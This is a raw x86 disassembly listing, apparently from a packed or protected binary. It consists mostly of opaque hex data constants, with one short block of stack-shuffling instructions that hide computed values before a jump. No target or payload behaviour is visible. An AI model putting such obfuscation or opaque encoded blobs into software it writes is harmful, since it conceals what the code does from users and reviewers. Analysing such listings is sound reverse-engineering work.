253EC870h dd 85DE68F1h, 30BA4691h, 0A832E31Fh, 163FFEA7h, 0C51A9C74h dd 0F47E2F7Ah, 7E26AF5Bh, 0EAEB72A9h, 0B973813h, 518E7F4Ch dd 0F680281Bh, 4807AF5Bh, 0E4AFF01Fh, 91F783CEh, 294F00F5h dd 81F3CA7h, 0E56CF616h, 0A832DA25h, 1636CFA9h, 1DCF79FAh dd 0B9546D2h, 0B33DC644h, 57E16AB0h, 0FC860F0Dh, 842CB555h dd 0AF0298C5h, 4C004BE4h, 0E094A8E6h, 66E9DC7Ah, 0F25DE798h dd 24FF8B7h, 337EE4AFh, 0D005FE8h, 57000000h, 335C1BC3h dd 0E21A9CEFh, 751E0B97h, 8916FE1h, 0AC35D17Eh, 4ED74322h dd 0F17AA0C4h, 941DFF67h, 35BE5C0Ah, 0D962B8ABh, 7801034Fh dd 1EA763EEh db 6Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push 6592h mov [esp], ebx push 682Ch mov [esp], ecx push edx mov edx, 57E5214Eh mov ebx, 6D4E11A8h xor ebx, edx pop edx add ebx, 0CBA855A5h sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx push ebx push edi mov edi, 548A7D34h sub [esp+4], edi pop edi pop dword ptr [ecx+8] add dword ptr [ecx+8], 548A7D34h mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_54F326 ; --------------------------------------------------------------------------- dd 0CEFC93ABh, 539C3FB8h, 0FFC50306h, 873C00E0h, 94645D62h dd 0E5566636h, 0E7AD060Eh, 0F3ED665Bh, 8E12B979h, 0BBCB0F7Eh dd 18494F2Eh, 0D49B5D27h, 7C9BAB46h, 0E07D2772h, 1C78360Eh dd 67213A5Ah, 0DDB51235h, 0D4B29D7Fh, 1B18E81Dh, 8181705Ah dd 255ED745h, 0A35F0163h, 0E63BA72Bh, 6023ED62h, 6E4AAA6Fh dd 0E2DB2C53h, 8A5A6747h, 2DEB1Bh, 0D0000000h, 9CBFAE0Dh dd 0F9DFF231h, 88A7A5ADh, 0FB75528Ch, 9CBE00B7h, 7EE5ADF9h dd 9D8993h, 67268168h, 3B2BD14h, 66E5202Ah, 0AD8E9h, 9E7C6800h dd 1AE90653h, 68FFFAE2h, 653A027h, 0FAE210E9h, 0A12B68FFh dd 6E90653h, 68FFFAE2h, 653A1D2h, 0FAE1FCE9h, 0A2BD68FFh dd 0F2E90653h, 68FFFAE1h, 653A37Fh, 0FAE1E8E9h, 0A41B68FFh dd 0DEE90653h, 68FFFAE1h, 653A612h, 0FAE1D4E9h, 0A6DE68FFh dd 0CAE90653h, 42FFFAE1h, 4A38B537h, 5846C339h, 6351CE0Eh dd 7866E319h, 1F70EDEFh, 0AB212E04h, 0BA32402Eh, 0CC004F3Dh dd 0D913614Fh, 0E6BC835Ch, 0B7D39991h, 0F31FAA85h, 0B2A06741h dd 0D09728A4h, 7B5567FAh, 8E55DBB4h, 7719D3A0h, 0AB9960F1h dd 0BCAA27A5h, 4E38F7B4h, 0FB868EC4h, 0E0364117h, 0EAD8B7D3h dd 3CC26498h, 168E30B6h, 0FCC38A62h, 0E98B410Eh, 44FCD263h dd 0B2AE27FFh, 0E977652Ch, 0A06D2CF3h, 52A2FA7Eh, 0B3A222FAh dd 5EE516F4h, 6A6B7F91h, 0E677FDA2h, 0F7F57B69h, 51BBDD55h dd 0DCD8B48Ah, 0A766B473h, 0A92665D4h, 22DAA487h, 8A4A169Ch dd 9348E697h, 92C9CF1h, 6EF90000h, 7E03F16Eh, 4B13017Eh dd 5A261491h, 2E3725A2h, 43E031AEh, 0E96666EFh, 0F87577FBh dd 4817B0Ah, 118E4E16h, 0DC9B7138h, 3AB7D398h, 0F77DD45Fh dd 1F6553F5h, 0B4E860DDh, 0E0CE955Ch, 2EB45696h, 28B93340h dd 74C4E652h, 65E9A8B4h, 43C397AAh, 5F26C84Eh, 8B5C298h dd 0D359B7D9h, 0EC8FE414h, 7506F673h, 0D898D49Fh, 76C7B0B7h dd 2F996C59h, 387251h, 0F3E70000h, 0CAA06741h, 0B474D10Ah dd 0C69C3EC4h, 0B7D91DADh, 0AF518BD8h, 9739B3C1h, 0A15B2311h dd 0F1422BFFh, 11FFC6B5h, 5FE58745h, 7794E5CEh, 51300B4Eh dd 13890h, 0E5A40500h, 7D619B9Bh, 2917A84Fh, 0ED8A605Bh dd 21BE2685h, 0BAD2F33h, 0D779FF85h, 99609CE9h, 562313D2h dd 0D68E472Dh, 26B27700h, 801197BEh, 6C60F0DEh, 5894DCCAh dd 0A67B05DBh, 4C0BBE26h, 0A4550F7Bh, 0E8D6676Fh, 20E76498h dd 3483C661h, 0F8BF362Eh, 27185522h, 0A233B9BEh, 6930ACB4h dd 9D2C5FAAh, 55D7107h, 1D591889h, 29A3B0B6h, 0EA7B0187h dd 44ACD048h, 2A15A77Dh, 58BB474h, 24FAC188h, 0B7D87853h dd 24F3DC3h, 11A228CAh, 460DE799h, 27B3C470h, 0FDC44AAEh dd 9D59473Eh, 50172984h, 8D4FD7Ah, 0FA8B11BEh, 0F17E6C33h dd 0CD359FBh, 8D44136h, 0BE4FD5BEh, 93DD87D0h, 6A31B759h dd 8D4E394h, 27AD33BEh, 0E6E67260h, 0B02DBE44h, 7B71FBE9h dd 1173FCEAh, 6714744h, 8BE08D5h, 0D45AFC82h, 0D440370Dh dd 48CEBE08h, 840F6C2h, 933542B6h, 7813Eh, 23D9A400h, 31ABB8A6h dd 44B8C6B4h, 4D8FD9C7h, 5795E2D0h, 989A89DAh, 0A2900DCFh dd 0B19F1CD0h, 0BFAD2AA2h, 0E5BE3BB1h, 962F481Eh, 4DFB7D3h dd 94F07D79h, 0F8C12CAh, 1C995321h, 0AAB6A491h, 0F3C99032h dd 0BE273684h, 0F5860C92h, 2AF1DB7Dh, 74D08054h, 0C1880EB4h dd 0CDC39F02h, 0ED7E05AFh, 0C7FE754Bh, 0F887B7D8h, 0EA746204h dd 937C50F2h, 50170642h, 0C7C4B389h, 0CC52B7D8h, 0E401523Bh dd 512FB4E1h, 0C5FBh, 0F77D7000h, 186553F5h, 8D7B42E4h dd 16D69EC6h, 0D768EE74h, 272A7F01h, 6498E8BEh, 233220E7h dd 0F08107A9h, 0D87A7202h, 0DD43C60h, 74C58537h, 0C48D7BB4h dd 8D058208h, 0A5CF99EBh, 189E24D8h, 5AC87B51h, 0D6C4AE28h dd 27AD4F8Dh, 0E4AB3196h, 5C3269F6h, 0BE08A21Bh, 0A2B4C399h dd 0DC62BE08h, 0A46BF177h, 0BFC7ADB6h, 8F159B3Dh, 0CA9381FEh dd 3A9A4612h, 0D97B42B6h, 67D84h, 1FDDA800h, 2DAFB4A2h dd 38B4C2B0h, 4983CDBBh, 5B91DECCh, 9C968DDEh, 0AE9C19D3h dd 0BDAB28A4h, 0CBB936B6h, 0F1CA4785h, 9523542Ah, 18F3B7D3h dd 0FCF07D8Dh, 0C8C3917Fh, 273685F2h, 150389BEh, 910E9448h dd 5795DCCAh, 0F77D3BC6h, 1F6553F5h, 0E98A60DDh, 0C3BE2736h dd 0AD4F8DD5h, 7A1E9627h, 1604CB92h, 27FD8E4Eh, 0B47B553Ch dd 0B7A56CF2h, 0C8B633A9h, 0DBA244B8h, 408A281Ch, 0BC4DB7E4h dd 0F1B81044h, 0B9333C2Ah, 0A4582917h, 0FDC65F1Eh, 0B6176B20h dd 0B12D4F25h, 9D23AE21h, 0B5202FD1h, 55AFC42h, 5D6h, 4BC8044Fh dd 5BD8145Dh, 6EEBE16Dh, 7BF8F480h, 8F0CC08Dh, 4DE53Eh dd 11614FCCh, 0E1705EDBh, 0F0806EEBh, 0DFA67FFCh, 0D3956E09h dd 3AC5A0B7h, 53F5F77Dh, 0C69C1F65h, 0BE2736B1h, 0B759DF65h dd 0B12E7F68h, 366314EAh, 0C5B3BE27h, 2ABB41BBh, 3BB8343Ch dd 7E23F1D4h, 1FEB57h, 36240000h, 941FB02Ch, 33A9B6A4h dd 257A0B91h, 173h, 1D2F9F5Eh, 0D493491Ah, 7405CC04h, 0A9B6A4E9h dd 0C24884CBh, 36185B31h, 0B1E3BE27h, 0DCD19057h, 8E3DEE67h dd 0A2783FD0h, 0B47A6196h, 642BF278h, 4CEEEE76h, 394735C6h dd 85846C3h, 70460DD4h, 0B7D3CE07h, 81E74807h, 0E128711h dd 10CC9A88h, 3365DD7Fh, 5A2412D9h, 744A11A2h, 0AE21B508h dd 80F7CD94h, 8EBE09B9h, 24127708h, 4C189E5Eh, 42B523B4h dd 0EB76CB6Dh, 3A000004h, 4230AD2Fh, 503EBB31h, 5B49C606h dd 705EDB11h, 1768E5E7h, 0A359260Ch, 0B22A3826h, 0C4384735h dd 0D10B5947h, 0DEB47B54h, 0B7D39499h, 7D17A27Dh, 8C53F5F7h dd 891AD29Eh, 5017D59Bh, 0F6F3E491h, 0BF5053BDh, 94E5CE1Dh dd 0EF6C60F0h, 7E233D88h, 79F57h, 16140000h, 9Bh, 6741F38Bh dd 5597CAA0h, 0BBA9B47Bh, 0F9537B5h, 0CC93197Eh, 0D95696DEh dd 0C56765EBh, 0FAC12B4Dh, 27B81C24h, 3D048AAEh, 0FCBFB776h dd 0A1609CEAh, 23B47B81h, 30AD2F35h, 18BA3242h, 0E3196351h dd 4EA6DA52h, 80D2C087h, 1E01764Ch, 8F15BE27h, 2B6137FEh dd 0E5B474B0h, 0E205935Fh, 8AA48E5h, 429B3h, 7B71FC00h dd 894310FEh, 9C501E0Ch, 0A527311Fh, 0AF2D3A28h, 0F042E132h dd 0FAE86567h, 9F77468h, 1705827Ah, 3D169349h, 93D7A076h dd 5C37B7D3h, 13816D1h, 0F38B0000h, 0CAA06741h, 0B47B5597h dd 0D0BE850Bh, 0E1CF4C80h, 3FB75993h, 16ECB31Dh, 0AE27B82Ah dd 614F169Ch, 0B5C29813h, 59BE2736h, 98864DD3h, 0E96F11CBh dd 67EDDB58h, 294BC365h, 4B39F8BFh, 641691B7h, 2CA0AF9Dh dd 4E0DD49Bh, 0E1EDFAD7h, 0FE86745Ch, 0F5976DFEh, 0BB474A2h dd 0A835B985h, 24C648E5h, 38DCFh, 0FCD9800h, 1DDFA492h dd 28A4B2A0h, 39B3BDABh, 4B81CEBCh, 8CA67DCEh, 9E8C09C3h dd 0AD9B18D4h, 0BBA926A6h, 0E1BA37B5h, 9233441Ah, 8E3B7D3h dd 0F5F77D7Dh, 0DD1F6553h, 0CC004D3Bh, 0B6363C2Ah, 2F806914h dd 6ABBA4F3h, 8FD6BEC6h, 0A4ECAB4Dh, 5D2BFC41h, 0EBB238BEh dd 0B3293624h, 267F9ADDh, 0DFB57CBEh, 0BE267F98h, 0D96AF076h dd 6CD0F55Ch, 5B0E577Dh, 83000000h, 0A06741F3h, 0D921AD9h dd 0FD0138EAh, 620D966Ch, 0BB41B474h, 437806F4h, 0D86A0A6Dh dd 860CB7h, 69C7AD83h, 20E7B7D8h, 24CFD661h, 11E7AFC6h dd 0B7D85D66h, 0A39122A8h dd 6A581FDDh, 0D24FE01Ch, 96E440Bh, 0DB7D85Eh, 149A521Fh dd 0C9D5F26h, 0FA9C501Eh, 2BDA5h, 0F67D1A00h, 1E6654F6h dd 0D6ACEF76h, 0BE2736A1h, 0C769EF75h, 2DF4BB41h, 27362057h dd 0D768EEBEh, 0E8E46C5Ah, 0D4085846h, 12BDDF57h, 27363B3Ch dd 0CF55DBBEh, 0C6B4108h, 0ABE2737h, 652CF384h, 1B83E1A6h dd 0D162E4CFh, 74373DFBh, 0C68B79B4h, 383E9CDh, 0E56B1008h dd 0BDFEBD43h, 0EC02F7E2h, 1197FC8Dh, 30DA996Fh, 0E3AAB7D9h dd 0E27369F5h, 3A8BA8F9h, 0A4513032h, 2Eh, 6741F319h, 0D10ACAA0h dd 0D6C4B474h, 2BB15389h, 7D3C03A5h, 15F56FBFh, 3107989Dh dd 0B7D83F42h, 0EB085942h, 512F2CDAh, 0B804h, 0B6A47900h dd 92682FADh, 0BE2736E5h, 2412A329h, 10FEA05Ch, 0F5E38547h dd 0DDCB6D6Fh, 2D85597h, 0BE272A7Eh, 0E66399E7h, 0AD7468F8h dd 336710E6h, 21A7BE27h, 0C276EE90h, 0D96A03B1h, 2BB18F62h dd 0D1E68E64h, 0A228B473h, 218BAD25h, 0AC87845Ah, 0C9B7AE27h dd 1BA143B9h, 1FA5272Dh, 0DF1D6A58h, 0B0EB7462h, 8BA9DDAh dd 24EB71BEh, 8BA294Eh, 0E167EDBEh, 0B6229B15h, 21761842h dd 196h, 8B08C48Fh, 9B18D49Dh, 0AE2BA1ADh, 0BB38B4C0h dd 0CF4C80CDh, 0C08DA57Eh, 0D1A18F0Ch, 0A1B09E1Bh, 0B0C0AE2Bh dd 1FE6BF3Ch, 0D3902E49h, 7A05E0B7h, 7FFCF07Dh, 8C09C391h dd 6741F301h, 0D10ACAA0h, 3EC4B474h, 0FC8977h, 7CF7CD6Fh dd 8B7D91Dh, 14B1CE1Fh, 0CA51300Bh, 0A9h, 11663C03h, 5B7D921h dd 7D63EE7Fh, 6553F5F7h, 2F1DE418h, 8107A923h, 8784EF0h dd 6DBE272Bh, 7A68E5E7h, 0D850F2EAh, 0AF854CA4h, 0B474C3C5h dd 8148C54Bh, 0F7CDCE93h, 0B7D90380h, 0E082088Eh, 0A4039B5Ah dd 36DDE75Dh, 0A10B2DA5h, 0C52804DAh, 8674AE27h, 0C7102FAh dd 149A521Eh, 0D6165F4Dh, 0EAE26B59h, 0B5A7AE1Eh, 20751742h dd 0CAh, 5FDC105Bh, 6FECE071h, 7AF7F581h, 8F0CC08Ch, 9B18D4A1h dd 0C59D94Ah, 1D6553D0h, 0ED7462DFh, 0FC8472EFh, 0E3AA8300h dd 0D3906A0Dh, 46D1ACB7h, 7FFCF07Dh, 8C09C391h, 0F5F77D01h dd 0D09E8C53h, 0D79D8B1Ch, 8729A3ADh, 86FE7B01h, 0D989C1D2h dd 4D89DA63h, 4B3900C7h, 0A127C903h, 621F3A10h, 2DB3B47Ah dd 15D79D8Bh, 22DAAA98h, 0E8E46D5Bh, 8D2FC046h, 494036B7h dd 27786113h, 0D7C6FD83h, 59A91DDFh, 185F35FCh, 0F6574173h dd 3523EA70h, 8B11B329h, 0C18F7DFAh, 0E3A2690Bh, 88A4BB4Ah dd 2A18A981h, 7EFC9E5Eh, 8C74495h, 48A00458h, 981EA089h dd 0B7BBC887h, 0A9B7A536h, 0B8C8B633h, 34DA244h, 0C2000000h dd 0F27D941Fh, 1A6A58FAh, 35240E2h, 293927C9h, 5A2311B3h dd 451200A2h, 6DF7E587h, 97DFCD6Fh, 0BCC5B355h, 57129E40h dd 0C781E789h, 4, 4EF81h, 3C870000h, 4895C24h, 0DAD6824h dd 14890000h, 4EC8324h db 89h, 34h word_594F42 dw 5624h ; DATA XREF: ___:off_4384A0o dd 6025CBBEh, 4E6C11Ch, 81E6D146h, 0B11B9DEEh, 8BF28985h dd 0C4812434h, 4, 8904EC83h, 4832424h, 515E0424h, 4E89D189h dd 240C8B08h, 0FF04C483h, 835E2434h, 34FF04C4h, 0C4815A24h dd 4, 0FAD754E9h, 6FF405FFh, 738149FDh, 0A7CDB8E1h, 0C5030653h dd 86B2E0FFh, 838C4DEFh, 0B7EA7E57h, 9B2C5034h, 9AA73D68h dd 0E02E4EC3h, 0E6E512EDh, 40885DDFh, 9445400Eh, 8C640E5Ch dd 0F2177558h, 0D1CF555Ch, 6523697Eh, 0F6344512h, 3E6B6CFFh dd 0ED774438h, 47797686h, 0B2B65392h, 0C05B63EEh, 4D274E86h dd 0E8A64E1Ah, 0BCD74AD7h, 0B9E750C5h, 76F8214Bh, 8EB6297h dd 44F17735h, 77E7339Ch, 0CEEE9h, 0AA356800h, 0CAE90653h dd 68FFFAD6h, 653AB53h, 0FAD6C0E9h, 0ACE868FFh, 0B6E90653h dd 68FFFAD6h, 653ADDCh, 0FAD6ACE9h, 0AF6C68FFh, 0A2E90653h dd 68FFFAD6h, 653B1D5h, 0FAD698E9h, 0B34068FFh, 8EE90653h dd 68FFFAD6h, 653B43Eh, 0FAD684E9h, 0FFFD88FFh, 0DCF9482h dd 18D4A290h, 29A3AD9Bh, 3BB1BEACh, 7CB66DBEh, 8E7CF9F3h dd 9D8B08C4h, 0AB9916D6h, 0D1AA27A5h, 8D43340Ah, 0F8D3B7D3h dd 0ADB6A46Dh, 76078D2Fh, 3D04F888h, 7D6E277Eh, 56CE6394h dd 5BE8A756h, 0B8BF95E1h, 56BE2703h, 17B94AD0h, 24A15B29h dd 592088ACh, 7492B583h, 3BDD63B4h, 0D9180E65h, 3C8D76B7h dd 5522F8BFh, 0B9B7D918h, 0D3A289FAh, 13997A96h, 33AA1B82h dd 20345130h, 0A9000000h, 0A06741F3h, 74D10ACAh, 9C3EC4B4h dd 0D91DADC6h, 9DEED7B7h, 300B4580h, 0C89751h, 7D0C0000h dd 6553F5F7h, 5442E418h, 0E319680Ch, 9335BB41h, 6DCDFA5h dd 0BE273671h, 3196561Ch, 0D2A825ABh, 0BE272A12h, 32AF2D33h dd 0F5F77D6Bh, 4E3CCD53h, 0AC24C606h, 92592088h, 0EAC0BFD3h dd 3AC0629Ah, 1DD38A7Bh, 9106B68Ch, 72F8B474h, 1FC5ECABh dd 0D085651Fh, 164AC23Fh, 1321F7BEh, 9BAE2782h, 9728A4ADh dd 1EE5AC32h, 0D9C41F5Fh, 8E1F8314h, 9815D7A0h, 531FDDAAh dd 42B69EE3h, 0CA55AA4Ch, 0B200000Ah, 0BAA825A7h, 0C8B633A9h dd 0D3C13EBEh, 0E8D65389h, 8FE05D9Fh, 1BD19E94h, 2AA2B09Eh dd 3CB0BFADh, 4983D1BFh, 562CF3CCh, 0B7D38C21h, 7D8F1AF5h dd 4735FCF0h, 0B431C23Ah, 773EBEC6h, 7001FB89h, 41F368F3h dd 0ACAA067h, 0C4B474D1h, 0ADC69C3Eh, 0D7B7D91Dh, 96562210h dd 0F4DD6EF4h, 2A3826A3h, 38BE3E4Ah, 187F1096h, 51300AADh dd 5A499150h, 82DA70A3h, 0D906CBACh, 3FC54BB7h, 0E5C6AEh dd 0A43B0000h, 367007DDh, 189EBE27h, 11CB9987h, 0D8145C4Ah dd 0AEB7A547h, 4956F3F5h, 981EED17h, 0D5C420F6h, 93E1BE26h dd 0F5CB9259h, 0BE26E682h, 7D0E94h, 0E88A4212h, 0CDA3CC70h dd 0BE26E6AAh, 9960E66Ch, 48BFB4DAh, 0E475CE7Ch, 0A275471Dh dd 4A09B474h, 0D02C2690h, 6BD061F6h, 4CF068E5h, 7CC79D64h dd 72AE2820h, 690EE4ABh, 0ADBE084Ch, 4C265127h, 62E8BE08h dd 5E2715DCh, 6C5A219Eh, 6755E6E6h, 0B0C79D1Eh, 0D5BE084Ch dd 63E94E8Eh, 9BAB11DDh, 5E0042B6h, 9AC09h, 4785D000h dd 5597DCCAh, 609CEAD8h, 716BF5E3h, 837906F4h, 0C46EB506h dd 0D6C441BBh, 0E5D3508Ch, 0F3E15E9Eh, 19F26F6Dh, 8BFB7C52h dd 401BB7D3h, 0FCF07DB5h, 9C3917Fh, 2A06C58Ch, 270552EDh dd 0C87EF9CFh, 0A90BE26h, 7D68F384h, 672EF5F7h, 36ADCAA0h dd 0DB61BE27h, 27367205h, 8D1EA4BEh, 2A3624EBh, 0F98A10B2h dd 0A87450Bh, 0D19EEE92h, 0DCB2791Bh, 0BE27369Bh, 0B06FF57Bh dd 1B467776h, 0CD941AD9h, 744C35F7h, 0CCA269B4h, 0B7D890ABh dd 0B85A92E2h, 0B647CD32h, 6229CB51h, 0D9AFEC74h, 0B7D8909Eh dd 0C264EA70h, 9FD5AB3Ch, 0E8B7D890h, 0D0BE609Ch, 0D4A84A82h dd 6F5E9AEBh, 2EAEBAA8h, 4663B49Dh, 512F917Fh, 62C5Dh dd 0B6A4D200h, 269E2FADh, 0FDD39A72h, 0B474C11Fh, 22E98B11h dd 0DF2855Bh, 9E24B7D9h, 0D3C370Dh, 8148B7D9h, 6F11CB93h dd 1E6F58E9h, 300EC401h, 267C3B51h, 0C3107ED0h, 39E3F864h dd 0DEB5577Ah, 5E7654Dh, 0F3DA0000h, 27502641h, 0E7BE2736h dd 0EFED7361h, 7A41C74Dh, 7523D8A4h, 9E40C6B4h, 0D928ABC8h dd 9FF0D9B7h, 302A4382h, 5BB9951h, 0A40E0000h, 4230ACB6h dd 941ABC30h, 67699603h, 3E14DB35h, 0B4752A36h, 11E752D8h dd 2BEFBCBBh, 0EFB61E42h, 199FCB19h, 5DFF852Ah, 9259B3E5h dd 5FE91FBCh, 42098F28h, 5D2A57Bh, 0BE4433CCh, 0E878662Dh dd 363F2DF4h, 0BAA825B6h, 0A6632AAh, 4BCCF2E3h, 81754A9h dd 1A650000h, 0EA7765E2h, 0FF8775F2h, 0C69280FDh, 0D29B8906h dd 0D74C9D1Ah, 5DDA125Bh, 6CE9E36Fh, 78F5F77Eh, 8502FA8Ah dd 680FE5ACh, 0A6B7D38Ah, 0F77D40CBh, 9E8C53F5h, 0AF7618D4h dd 27369ED9h, 64EA70BEh, 0CF395BD3h, 4D973208h, 0F57BB47Bh dd 0BEC3B178h, 85169C3Eh, 0D38E94AFh, 1E0C59B7h, 0A1199656h dd 3F4AE0F3h, 0F6E3AFA2h, 0CE2A970h, 0B7D42A6Bh, 0CD9425ABh dd 0D42A78F7h, 5E0086B7h, 6FECE070h, 6C0BE1A8h, 0AAB7D42Ah dd 0E6BD9324h, 0BFB7D42Ah, 0D1BF3CB0h, 0D1A74983h, 0B7D3FAA2h dd 6E12634Ch, 7B69E6E6h, 7F55F7F5h, 0C47A2AF4h, 23C71801h dd 0CD229F5Dh, 131h, 0F5F77D42h, 0DE1E6553h, 3611663Ch dd 0F47CBE27h, 3F4331F8h, 128A2CBDh, 0D1BF866Eh, 1E6A1182h dd 0FCDB6980h, 481EE576h, 0B47B1781h, 0D123EF75h, 0FE48EB4Fh dd 723075Ch, 0E590000h, 1E6351CEh, 0EB7361DEh, 0FA8674F1h dd 0CE978502h, 0E340910Eh, 49C6064Fh, 58D5175Bh, 64E11B6Ah dd 71EEEE76h, 7CFBD198h, 9AB7D389h, 0F77D34BFh, 33402EF5h dd 0A39A4980h, 288E425h, 94E1CF71h, 0E66C60F0h, 0F582581Fh dd 19BE26E8h, 97850293h, 0A99714C8h, 0DDA421DBh, 3DB4271Eh dd 0D96A707Bh, 0C86A62EBh, 8D168DDAh, 5B4E796h, 0AC2917Fh dd 0AA93E284h, 0FBA8B559h, 5BBCAB62h, 0A70695D1h, 0EA04C685h dd 27EE6BF1h, 0DAF2D39h, 8DEAC087h, 81BE26ACh, 0C2036AFBh dd 1C577D99h, 7, 891691h, 7D8B0000h, 7D53F5F7h, 0BE2726F6h dd 21C516FFh, 13D29953h, 99537309h, 8E0B9C1Ah, 411200C7h dd 8D63E98Bh, 0BE26BCEAh, 2715A62Ch, 2C02A458h, 0BE26BC48h dd 86C28148h, 827A07A7h, 609B5AE0h, 5942D35Dh, 0DF1D6408h dd 9F5D2A18h, 69E677FDh, 8EF67DDEh, 0DE6406C6h, 0B9C8B658h dd 6952A143h, 0EFED7418h, 2ED59C72h, 0B920BE27h, 577E300Dh dd 0FFFEACCFh, 4C1A08FFh, 36FE794Fh, 8A10BE27h, 4BDC6204h dd 33F16C0h, 7D8B0000h, 7D53F5F7h, 0BE273726h, 0E488D9C2h dd 1CE3609Ch, 19AA222Eh, 363F252Bh, 0C78E30B6h, 0B45D8408h dd 0BC4D47BCh, 270ABDE6h, 51210FBEh, 79FED49Bh, 9DBE270Ah dd 0C8988617h, 8628A4ACh, 60D87A00h, 370DD43Ch, 0B47B2192h dd 0DCF9684h, 0FBF17D6Bh, 0DB23EF75h, 0F448EB35h, 593FD52h dd 9EE90000h, 6EF3E15Eh, 7B03F16Eh, 4A160481h, 5E271592h dd 53D0219Eh, 0D95696DFh, 0E86567EBh, 0F4716BFAh, 17E7E06h dd 0EC8B6128h, 2AB7D387h, 0F77DC44Fh, 1070D8BCh, 63220F8Fh dd 1DA3F059h, 430A90D5h, 2ED00C55h, 877517A8h, 9381FEFEh dd 89480FCDh, 0F536338h, 6A980ECDh, 0E9D754E5h, 0F7BE609Ch dd 0A41D5A30h, 6BF1BE26h, 6963ECDAh, 4F8DD9C7h, 35B7BFADh dd 0DB2C1593h, 0DAF2D37h, 0EBB20187h, 0D57775FDh dd 84D5BE4Fh, 3E1497E0h, 0BE26A439h, 0BA9057DDh, 0BE26A4BDh dd 7E45CB51h, 0A496E1B7h, 4016BE26h, 0BE26A437h, 66EC51D7h dd 0D4F158D5h, 0A577DA5h, 225h, 940F5543h, 413D2633h, 8C2EB4D5h dd 0F3EA7506h, 2C96B4Dh, 0FE8F4D14h, 0D4335D28h, 4908CFBFh dd 2770E84Ah, 4029BA70h, 9DF3D2EFh, 430A588Fh, 38A50A6Dh dd 0F5860CBFh, 1E80Dh, 0A584600h, 324230D2h, 18A334BAh dd 0F3324DF3h, 0FA9AC976h, 0C1B07060h, 64AAD102h, 364117DEh dd 0D8BE26A6h, 0ABDAB052h, 0FDBFD3A3h, 1FA6C314h, 0BD588FCAh dd 1B1h, 5DE937F6h, 6E7224B3h, 0BA86554h, 0FA02605h, 6B4DF384h dd 369DCEA4h, 0EB71BE27h, 16416524h, 339AC0BBh, 7A3900A2h dd 56AD4E6Fh, 0FED46519h, 0BFD3C087h, 0A2BF10F9h, 588FAB23h dd 170B9h, 4DF32E00h, 0A1CEA46Bh, 75BE2736h, 0E774DEFh dd 5EBFD434h, 0BE072475h, 20588F39h, 151h, 8DF77D95h, 0DF6507C5h dd 0BBC9B759h, 284CC441h, 1523F9C0h, 3B474C5h, 6E05DB7Dh dd 16B7D909h, 985FDC2Dh, 0D909B5C2h, 42D359B7h, 300AEADBh dd 4EF451h, 3F2D0000h, 0D3A47A31h, 43B7D911h, 0CE9537BDh dd 0D9117FF8h, 83098FB7h, 41F367F2h, 0A2B2A067h, 0FCD2992Ah dd 0B474D0D8h, 0FEFE8876h, 8950D65Ch, 1D8BECC2h, 58BB7D9h dd 3944817h, 1DE88B61h, 0B39CB7D9h, 0A804562h, 915E5130h dd 0D3000000h, 53F5F77Dh, 42E41865h, 2ED00C54h, 0F5BC3040h dd 0DD7F7D07h, 7349C657h, 0BE272A71h, 51CE0E56h, 864DA7D9h dd 767815B0h, 542AF1B4h, 0B7D68423h, 20E76DF3h, 0DC99A59h dd 67B32413h, 5D9FE8D6h, 252B19E0h, 0EE7F05A7h, 0A9757700h dd 48E88E6Bh, 2A79CE70h, 52000003h, 5A48C507h, 6856D309h dd 7361DE1Eh, 8876F3E9h, 2F80FDFFh, 0BB313EF4h, 0CA02503Eh dd 0DC105F4Dh, 0E9E3715Fh, 0F6CC936Ch, 0B7D38581h, 7D2FBA95h dd 917FFCF0h, 18C09C3h, 33A9B6A4h, 83F4CA91h, 93BE2736h dd 8F6870Dh, 0CFBD8478h, 21A74983h, 7000EE90h, 4B29FF7Ch dd 63BE2736h, 5DEEEE75h, 65F1B3E5h, 531AE167h, 4FE01C65h dd 74C99779h, 0A623A9B4h, 0F5F77D1Bh, 0EFC58C53h, 0BE273688h dd 816F0086h, 47CF9F3h, 16613750h, 0F8BE2736h, 4F25EC72h dd 0B474C4E9h, 0A97F21A7h, 0B7D909CAh, 6380D1BAh, 51300A62h dd 3C7Ch, 0B8C7B500h, 114A2D03h, 46CCB7D9h, 7981EC0h, 6741F37Ch dd 3C12D9A0h, 0BE27363Bh, 6C60EDDBh, 557F55E6h, 0FBB474D1h dd 76FDD375h, 0EB7D91Dh, 0EB7D425h, 0D051300Bh, 0CFh, 0F5F77D45h dd 7C186553h, 0CF55F7F5h, 0F2E0A749h, 0D7C56765h, 3DCE5488h dd 29CB014Fh, 3AB7353Bh, 0A1D6AC73h, 75BE2736h, 5C885EEFh dd 49BE272Ah, 7D44C13Bh, 7607C58Fh, 6204F888h, 975EB6EAh dd 74C2B3C1h, 5B9E5DB4h, 0FFBA91BAh, 0CE46C349h, 0B47B42AAh dd 0B344B8C6h, 280F2EDDh, 935AE0AEh, 0B7BCD8A5h, 870D9335h dd 0A67C430Ah, 0BE085BD1h, 402EBF45h, 0B5E9B537h, 0A642B68Ch dd 1BFAF04h, 0B2BD0000h, 82CFBD3Ah, 97DFCD4Ah, 9EEAD855h dd 6AF3E15Eh, 7FA4F572h, 0B532AAB3h, 0C441BBC7h, 0D04D8FD6h dd 0DD5A92E2h, 10673D04h, 0FEB7D383h, 0F07D9823h, 3E4735FCh dd 5961CBEh, 8BD3C188h, 82D2C051h, 36443309h, 4CD2BE27h dd 0F3BE49C6h, 4F7C2E41h, 3383E250h, 491FE6ADh, 0BE26A92Eh dd 2C95AE0h, 93004D3Bh, 8C829F78h, 293196Dh, 74BAA82Ch dd 0FEA026B4h, 0D9274B28h, 0B12B3AB7h, 9B51210Fh, 14654EF9h dd 0AF00E9D8h, 30153392h, 0ACA951h, 7D1E0000h, 6553F5F7h dd 6C42E418h, 0BE272A78h, 0AE84074Dh, 0BE2732C9h, 0C441C74Dh dd 0AC4E8ED6h, 0E1A80034h, 74C2690Bh, 0A421A7B4h, 0D9A0082Ch dd 28482903h, 8A51D7AEh, 5219D39Ch, 5F2C393h, 8DD482Fh dd 8140C6BEh, 61F2B083h, 3269F6E4h, 9BE2956Bh, 0AE34BE08h dd 89B9FD8h, 63E96FBEh, 0B64C6D97h, 53A84A42h, 0C1h, 0BF3CB0BBh dd 0CF4C80D1h, 0DA5795E1h, 